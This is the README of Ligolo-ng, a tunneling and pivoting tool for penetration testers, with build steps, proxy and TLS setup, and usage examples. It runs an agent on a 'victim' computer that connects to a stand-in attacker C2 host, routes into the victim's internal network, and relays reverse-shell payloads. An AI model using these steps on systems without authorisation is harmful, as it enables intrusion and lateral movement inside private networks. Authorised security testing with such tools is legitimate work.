Ligolo Ng Save
An advanced, yet simple, tunneling/pivoting tool that uses a TUN interface.
Ligolo-ng : Tunneling like a VPN
An advanced, yet simple, tunneling tool that uses TUN interfaces.
You use Ligolo-ng for your penetration tests? Did it help you pass a certification? Please consider sponsoring the project so I can buy my team some drinks. ☕
Table of Contents
- Introduction
- Features
- How is this different from Ligolo/Chisel/Meterpreter... ?
- Building & Usage
- Demo
- Does it require Administrator/root access ?
- Supported protocols/packets
- Performance
- Caveats
- Todo
- Credits
Introduction
Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
Features
- Tun interface (No more SOCKS!)
- Simple UI with agent selection and network information
- Easy to use and setup
- Automatic certificate configuration with Let's Encrypt
- Performant (Multiplexing)
- Does not require high privileges
- Socket listening/binding on the agent
- Multiple platforms supported for the agent
- Can handle multiple tunnels
How is this different from Ligolo/Chisel/Meterpreter... ?
Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.
When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.
As an example, for a TCP connection:
- SYN are translated to connect() on remote
- SYN-ACK is sent back if connect() succeed
- RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
- Nothing is sent if timeout
This allows running tools like nmap without the use of proxychains (simpler and faster).
Building & Usage
Precompiled binaries
Precompiled binaries (Windows/Linux/macOS) are available on the Release page.
Building Ligolo-ng
Building ligolo-ng (Go >= 1.20 is required):
$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go
Setup Ligolo-ng
Linux
When using Linux, you need to create a tun interface on the Proxy Server (C2):
$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up
Windows
You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).
Running Ligolo-ng proxy server
Start the proxy server on your Command and Control (C2) server (default port 11601):
$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates
TLS Options
Using Let's Encrypt Autocert
When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.
Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval
Using your own TLS certificates
If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.
Automatic self-signed certificates (NOT RECOMMENDED)
The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.
The -ignore-cert option needs to be used with the agent.
Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.
Using Ligolo-ng
Start the agent on your target (victim) computer (no privileges are required!):
$ ./agent -connect attacker_c2_server.com:11601
If you want to tunnel the connection over a SOCKS5 proxy, you can use the
--socks ip:portoption. You can specify SOCKS credentials using the--socks-userand--socks-passarguments.
A session should appear on the proxy server.
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Use the session command to select the agent.
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Display the network configuration of the agent using the ifconfig command:
[Agent : nchatelain@nworkstation] » ifconfig
[...]
┌─────────────────────────────────────────────┐
│ Interface 3 │
├──────────────┬──────────────────────────────┤
│ Name │ wlp3s0 │
│ Hardware MAC │ de:ad:be:ef:ca:fe │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 192.168.0.30/24 │
└──────────────┴──────────────────────────────┘
Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.
Linux:
$ sudo ip route add 192.168.0.0/24 dev ligolo
Windows:
> netsh int ipv4 show interfaces
Idx Mét MTU État Nom
--- ---------- ---------- ------------ ---------------------------
25 5 65535 connected ligolo
> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]
Start the tunnel on the proxy:
[Agent : nchatelain@nworkstation] » start_tunnel
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation
You can also specify a custom tuntap interface using the --tun iface option:
[Agent : nchatelain@nworkstation] » start_tunnel --tun mycustomtuntap
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation
You can now access the 192.168.0.0/24 agent network from the proxy server.
$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]
Agent Binding/Listening
You can listen to ports on the agent and redirect connections to your control/proxy server.
In a ligolo session, use the listener_add command.
The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.
[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!
On the proxy:
$ nc -lvp 4321
When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.
This is very useful when using reverse tcp/udp payloads.
You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:
[Agent : nchatelain@nworkstation] » listener_list
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners │
├───┬─────────────────────────┬────────────────────────┬────────────────────────┤
│ # │ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────┤
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234 │ 127.0.0.1:4321 │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘
[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.
Access to agent's local ports (127.0.0.1)
If you need to access the local ports of the currently connected agent, there's a "magic" IP hardcoded in Ligolo-ng: 240.0.0.1 ( This IP address is part of an unused IPv4 subnet). If you query this IP address, Ligolo-ng will automatically redirect traffic to the agent's local IP address (127.0.0.1).
Example:
$ sudo ip route add 240.0.0.1/32 dev ligolo
$ nmap 240.0.0.1 -sV
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-30 22:17 CET
Nmap scan report for 240.0.0.1
Host is up (0.023s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.9.2)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.16 seconds
Demo
Does it require Administrator/root access ?
On the agent side, no! Everything can be performed without administrative access.
However, on your relay/proxy server, you need to be able to create a tun interface.
Supported protocols/packets
- TCP
- UDP
- ICMP (echo requests)
Performance
You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.
$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes
[ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes
[ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes
[ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes
[ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes
[ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes
[ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes
[ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes
[ 5] 8.00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes
[ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender
[ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver
Caveats
Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.
When using nmap, you should use --unprivileged or -PE to avoid false positives.
Todo
- Implement other ICMP error messages (this will speed up UDP scans) ;
- Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
- Add mTLS support.
Credits
- Nicolas Chatelain <nicolas -at- chatelain.me>
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